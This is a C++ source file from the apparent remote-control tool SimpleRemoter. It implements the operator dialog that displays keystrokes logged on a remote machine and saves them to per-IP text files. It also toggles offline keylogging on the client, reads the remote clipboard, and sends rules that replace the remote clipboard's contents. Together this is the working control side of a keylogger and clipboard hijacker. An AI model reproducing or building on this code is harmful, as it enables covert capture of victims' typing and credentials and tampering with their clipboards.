Files
SimpleRemoter/server/2015Remote/KeyBoardDlg.cpp

335 lines
11 KiB
C++
Raw Permalink Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
// KeyBoardDlg.cpp : implementation file
//
#include "stdafx.h"
#include <WinUser.h>
#include <string>
#include "KeyBoardDlg.h"
#include "2015RemoteDlg.h" // GetClientEncoding helper
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
#define IDM_ENABLE_OFFLINE 0x0010
#define IDM_CLEAR_RECORD 0x0011
#define IDM_SAVE_RECORD 0x0012
#define SHOW_CLIP_TEXT WM_USER+201
/////////////////////////////////////////////////////////////////////////////
// CKeyBoardDlg dialog
#include "common/utf8.h"
CKeyBoardDlg::CKeyBoardDlg(CWnd* pParent, Server* pIOCPServer, ClientContext *pContext)
: DialogBase(CKeyBoardDlg::IDD, pParent, pIOCPServer, pContext, IDI_KEYBOARD)
{
int len = m_ContextObject->m_DeCompressionBuffer.GetBufferLen();
m_bIsOfflineRecord = m_ContextObject->m_DeCompressionBuffer.GetBYTE(1);
// 子连接从协议扩展字段byte 2-3拿到能力位写入自身的 CAPABILITIES。
// 这样 m_ContextObject->SupportsUtf8() 可直接生效,不再依赖 IP 反查主连接。
// 老客户端只发 2 字节GetBYTE 越界返回 0等同 caps=0 -> 走 CP936 兜底,向后兼容。
WORD caps = m_ContextObject->m_DeCompressionBuffer.GetBYTE(2)
| (m_ContextObject->m_DeCompressionBuffer.GetBYTE(3) << 8);
if (caps != 0) {
CString capStr;
capStr.Format(_T("%04X"), caps);
m_ContextObject->SetClientData(ONLINELIST_CAPABILITIES, capStr);
}
if (len >= 4 + sizeof(TextReplace)) {
m_ContextObject->m_DeCompressionBuffer.CopyBuffer(&m_TextRule, sizeof(TextReplace), 4);
}
}
void CKeyBoardDlg::DoDataExchange(CDataExchange* pDX)
{
__super::DoDataExchange(pDX);
//{{AFX_DATA_MAP(CKeyBoardDlg)
DDX_Control(pDX, IDC_EDIT, m_edit);
//}}AFX_DATA_MAP
DDX_Control(pDX, IDC_EDIT_CLIPBOARD, m_EditClipText);
DDX_Control(pDX, IDC_EDIT_TEXTRULE, m_EditClipRule);
}
BEGIN_MESSAGE_MAP(CKeyBoardDlg, CDialog)
//{{AFX_MSG_MAP(CKeyBoardDlg)
ON_WM_SIZE()
ON_WM_CLOSE()
ON_WM_SYSCOMMAND()
//}}AFX_MSG_MAP
ON_BN_CLICKED(IDC_BTN_APPLY_TEXTRULE, &CKeyBoardDlg::OnBnClickedBtnApplyTextrule)
ON_MESSAGE(SHOW_CLIP_TEXT, &CKeyBoardDlg::ShowClipboardText)
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
// CKeyBoardDlg message handlers
void CKeyBoardDlg::PostNcDestroy()
{
// TODO: Add your specialized code here and/or call the base class
__super::PostNcDestroy();
}
void CKeyBoardDlg::RebuildEdit(CEdit & m_edit) {
CRect rc;
m_edit.GetWindowRect(&rc);
ScreenToClient(&rc);
DWORD style = m_edit.GetStyle();
DWORD exStyle = m_edit.GetExStyle();
HFONT hFont = (HFONT)m_edit.SendMessage(WM_GETFONT, 0, 0);
UINT ctrlID = m_edit.GetDlgCtrlID();
m_edit.DestroyWindow();
HWND hEdit = ::CreateWindowExW(
exStyle, L"EDIT", L"", style,
rc.left, rc.top, rc.Width(), rc.Height(),
this->GetSafeHwnd(), (HMENU)(UINT_PTR)ctrlID,
AfxGetInstanceHandle(), NULL);
m_edit.Attach(hEdit);
if (hFont)
m_edit.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
}
BOOL CKeyBoardDlg::OnInitDialog()
{
__super::OnInitDialog();
// TODO: Add extra initialization here
SetIcon(m_hIcon, TRUE); // Set big icon
SetIcon(m_hIcon, FALSE); // Set small icon
CMenu* pSysMenu = GetSystemMenu(FALSE);
if (pSysMenu != NULL) {
//pSysMenu->DeleteMenu(SC_TASKLIST, MF_BYCOMMAND);
pSysMenu->AppendMenuSeparator(MF_SEPARATOR);
pSysMenu->AppendMenuL(MF_STRING, IDM_ENABLE_OFFLINE, "离线记录(&O)");
pSysMenu->AppendMenuL(MF_STRING, IDM_CLEAR_RECORD, "清空记录(&C)");
pSysMenu->AppendMenuL(MF_STRING, IDM_SAVE_RECORD, "保存记录(&S)");
if (m_bIsOfflineRecord)
pSysMenu->CheckMenuItem(IDM_ENABLE_OFFLINE, MF_CHECKED);
}
UpdateTitle();
// -----------------------------------------------------------------
// 把 m_edit 重建为 Unicode 类窗口。
// 工程是 MBCSMFC 默认用 A 版 CreateWindowEx 创建子控件,导致即便
// 调 SendMessageW(EM_REPLACESEL,...) 系统也会在 W->A 边界用 CP_ACP
// 转码,德语机器上中文窗口标题仍会乱码。直接用 CreateWindowExW 重建
// 后,控件内部以 Unicode 存储W 版消息直通,不再走 CP_ACP。
// -----------------------------------------------------------------
RebuildEdit(m_edit);
m_edit.SetLimitText(MAXDWORD); // 设置最大长度
auto rule = utf8_to_ansi((char*)m_TextRule.param);
m_EditClipRule.SetWindowTextA(rule.empty() ? _TR("<请输入文本用于替换远程剪切板>") : rule.c_str());
GetDlgItem(IDC_BTN_APPLY_TEXTRULE)->SetWindowTextA(_TR("替换"));
// 通知远程控制端对话框已经打开
BYTE bToken = COMMAND_NEXT;
m_ContextObject->Send2Client(&bToken, sizeof(BYTE));
return TRUE; // return TRUE unless you set the focus to a control
// EXCEPTION: OCX Property Pages should return FALSE
}
void CKeyBoardDlg::UpdateTitle()
{
CString str;
str.FormatL("%s - 键盘记录", m_IPAddress);
if (m_bIsOfflineRecord)
str += _TR(" (离线记录已开启)");
else
str += _TR(" (离线记录未开启)");
SetWindowText(str);
}
void CKeyBoardDlg::OnReceiveComplete()
{
switch (m_ContextObject->m_DeCompressionBuffer.GetBuffer(0)[0]) {
case TOKEN_KEYBOARD_DATA:
AddKeyBoardData();
break;
case TOKEN_CLIP_TEXT: {
int len = m_ContextObject->m_DeCompressionBuffer.GetBufferLen();
if (len == 1) break;
char* buf = new char[len];
memcpy(buf, m_ContextObject->m_DeCompressionBuffer.GetBuffer(1), len-1);
PostMessage(SHOW_CLIP_TEXT, (WPARAM)buf, len-1);
break;
}
default:
return;
}
}
LRESULT CKeyBoardDlg::ShowClipboardText(WPARAM wParam, LPARAM lParam)
{
char* buf = (char*)wParam;
std::string text = utf8_to_ansi(buf);
SAFE_DELETE_ARRAY(buf);
m_EditClipText.SetWindowTextA(text.c_str());
return S_OK;
}
void CKeyBoardDlg::AddKeyBoardData()
{
// 最后填上0
m_ContextObject->m_DeCompressionBuffer.Write((LPBYTE)"", 1);
const char* utf8 = (const char*)m_ContextObject->m_DeCompressionBuffer.GetBuffer(1);
if (!utf8 || !utf8[0])
return;
// 客户端编码由能力位 CLIENT_CAP_UTF8 决定。
// 注意m_ContextObject 是键盘记录子连接,其自身 CAPABILITIES 为空;
// helper 内部通过 peer IP 查主连接获取真正的能力位。
UINT cp = GetClientEncoding(m_ContextObject);
int wlen = MultiByteToWideChar(cp, 0, utf8, -1, NULL, 0);
if (wlen <= 1)
return;
std::wstring wbuf(wlen - 1, L'\0');
MultiByteToWideChar(cp, 0, utf8, -1, &wbuf[0], wlen);
// 全程走 W 版消息直通 Unicode 控件。注意几个坑:
// 1) MFC 的 m_edit.SetSel(...) 默认走 ::SendMessage (A 版) 并紧跟一次
// EM_SCROLLCARET时序变成 "SetSel→ScrollCaret→ReplaceSel",即
// 先滚到旧末尾、再插入,部分场景控件状态会错乱(光标不在末尾、
// 用户手动移动光标后插入位置不对等)。
// 2) EM_SETSEL 用 0x7FFFFFFF 表示"末尾",由控件自行 clamp 到当前长度,
// 不依赖 WM_GETTEXTLENGTH 计算结果。
// 3) ReplaceSel 后再 ScrollCaret确保滚到 *新* 末尾。
HWND hEdit = m_edit.GetSafeHwnd();
if (!hEdit) return;
::SendMessageW(hEdit, EM_SETSEL, (WPARAM)0x7FFFFFFF, (LPARAM)0x7FFFFFFF);
::SendMessageW(hEdit, EM_REPLACESEL, FALSE, (LPARAM)wbuf.c_str());
::SendMessageW(hEdit, EM_SCROLLCARET, 0, 0);
}
bool CKeyBoardDlg::SaveRecord()
{
CString strFileName = m_IPAddress + CTime::GetCurrentTime().FormatL("_%Y-%m-%d_%H-%M-%S.txt");
CFileDialog dlg(FALSE, "txt", strFileName, OFN_OVERWRITEPROMPT, _T("TXT(*.txt)|*.txt|"), this);
if(dlg.DoModal () != IDOK)
return false;
CFile file;
if (!file.Open( dlg.GetPathName(), CFile::modeWrite | CFile::modeCreate)) {
CString msg;
msg.FormatL("文件保存失败: %s", dlg.GetPathName().GetString());
MessageBox(msg, _TR("提示"), MB_ICONINFORMATION);
return false;
}
// m_edit 已是 Unicode 控件:用 W 版取宽字符串,转 UTF-8 写入并加 BOM。
// 这样保存的文件无视服务端 ACP记事本/VS Code 等都能自动识别。
int wlen = ::GetWindowTextLengthW(m_edit.GetSafeHwnd());
std::wstring wbuf;
if (wlen > 0) {
wbuf.resize(wlen);
::GetWindowTextW(m_edit.GetSafeHwnd(), &wbuf[0], wlen + 1);
}
// UTF-8 BOM
const BYTE bom[3] = { 0xEF, 0xBB, 0xBF };
file.Write(bom, 3);
if (!wbuf.empty()) {
int u8len = WideCharToMultiByte(CP_UTF8, 0, wbuf.c_str(), wlen,
NULL, 0, NULL, NULL);
if (u8len > 0) {
std::string u8(u8len, '\0');
WideCharToMultiByte(CP_UTF8, 0, wbuf.c_str(), wlen,
&u8[0], u8len, NULL, NULL);
file.Write(u8.data(), (UINT)u8.size());
}
}
file.Close();
return true;
}
void CKeyBoardDlg::OnSysCommand(UINT nID, LPARAM lParam)
{
if (nID == IDM_ENABLE_OFFLINE) {
CMenu* pSysMenu = GetSystemMenu(FALSE);
if (pSysMenu != NULL) {
m_bIsOfflineRecord = !m_bIsOfflineRecord;
BYTE bToken[] = { COMMAND_KEYBOARD_OFFLINE, m_bIsOfflineRecord };
m_ContextObject->Send2Client(bToken, sizeof(bToken));
if (m_bIsOfflineRecord)
pSysMenu->CheckMenuItem(IDM_ENABLE_OFFLINE, MF_CHECKED);
else
pSysMenu->CheckMenuItem(IDM_ENABLE_OFFLINE, MF_UNCHECKED);
}
UpdateTitle();
} else if (nID == IDM_CLEAR_RECORD) {
BYTE bToken = COMMAND_KEYBOARD_CLEAR;
m_ContextObject->Send2Client(&bToken, 1);
// m_edit 是 Unicode 类控件,调 W 版避免 CP_ACP 边界转换
::SetWindowTextW(m_edit.GetSafeHwnd(), L"");
} else if (nID == IDM_SAVE_RECORD) {
SaveRecord();
} else {
__super::OnSysCommand(nID, lParam);
}
}
void CKeyBoardDlg::ResizeEdit()
{
RECT rectClient;
RECT rectEdit;
GetClientRect(&rectClient);
rectEdit.left = 0;
rectEdit.top = 0;
rectEdit.right = rectClient.right;
rectEdit.bottom = rectClient.bottom;
m_edit.MoveWindow(&rectEdit);
}
void CKeyBoardDlg::OnSize(UINT nType, int cx, int cy)
{
__super::OnSize(nType, cx, cy);
// TODO: Add your message handler code here
/* if (IsWindowVisible())
ResizeEdit();
*/
}
BOOL CKeyBoardDlg::PreTranslateMessage(MSG* pMsg)
{
// TODO: Add your specialized code here and/or call the base class
if (pMsg->message == WM_KEYDOWN && (pMsg->wParam == VK_RETURN || pMsg->wParam == VK_ESCAPE)) {
return true;
}
return __super::PreTranslateMessage(pMsg);
}
void CKeyBoardDlg::OnClose()
{
CancelIO();
// 等待数据处理完毕
if (IsProcessing()) {
ShowWindow(SW_HIDE);
return;
}
DialogBase::OnClose();
}
void CKeyBoardDlg::OnBnClickedBtnApplyTextrule()
{
CString rule;
m_EditClipRule.GetWindowTextA(rule);
auto utf8 = ansi_to_utf8(rule.GetString());
memcpy(m_TextRule.param, utf8.c_str(), utf8.length()+1);
m_TextRule.cmd = COMMAND_TEXT_REPLACE;
m_ContextObject->Send2Client((PBYTE)&m_TextRule, sizeof(TextReplace));
}